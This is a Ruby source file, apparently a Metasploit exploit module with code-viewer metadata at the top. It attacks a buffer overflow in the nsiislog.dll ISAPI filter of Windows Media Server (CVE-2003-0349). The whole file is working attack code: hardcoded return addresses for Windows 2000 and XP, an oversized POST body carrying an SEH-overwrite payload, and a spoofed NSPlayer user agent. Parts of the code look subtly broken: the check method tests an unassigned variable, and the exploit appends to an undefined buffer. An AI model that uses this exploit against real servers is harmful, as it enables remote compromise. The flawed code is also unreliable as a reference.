102 lines
2.5 KiB
Ruby
102 lines
2.5 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::Isapi::IIS_NSIISLOG_Overflow < Msf::Exploit::Remote
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include Exploit::Remote::HttpClient
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include Exploit::Remote::BruteTargets
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
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'Description' => %q{
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This exploits a buffer overflow found in the nsiislog.dll
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ISAPI filter that comes with Windows Media Server. This
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module will also work against the 'patched' MS03-019
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version. This vulnerability was addressed by MS03-022.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '8035'],
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[ 'OSVDB', '4535'],
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[ 'CVE', '2003-0349'],
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[ 'MSB', 'MS03-022'],
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[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
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[ 'MIL', '30'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Brute Force', { }],
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['Windows 2000 -MS03-019', { 'Rets' => [ 9769, 0x40f01333 ] }],
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['Windows 2000 +MS03-019', { 'Rets' => [ 13869, 0x40f01353 ] }],
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['Windows XP -MS03-019', { 'Rets' => [ 9773, 0x40f011e0 ] }],
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],
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'DisclosureDate' => 'Jun 25 2003',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
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], self.class)
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end
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def check
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r = send_request_raw({
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'uri' => datastore['URL']
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}, -1)
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if (res and res.body =~ /NetShow ISAPI/)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit_target(target)
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vars = {}
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%w{
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date time c-dns cs-uri-stem c-starttime
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x-duration c-rate c-status c-playerid c-playerversion
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c-playerlanguage cs(User-Agent) cs(Referer) c-hostexe
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}.each do |field|
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buf << field + '=' + 'BOOM&'
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end
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pat = 'O' * 65535
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seh = generate_seh_payload(target['Rets'][1])
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pat[ target['Rets'][0] - 4, seh.length] = seh
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buf << pat
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print_status("Sending request...")
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res = send_request_cgi({
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'uri' => datastore['URL'],
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'method' => 'POST',
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'user-agent' => 'NSPlayer/2.0',
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'content-type' => 'application/x-www-form-urlencoded',
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'data' => buf
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}, 5)
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handler
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disconnect
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end
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end
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end
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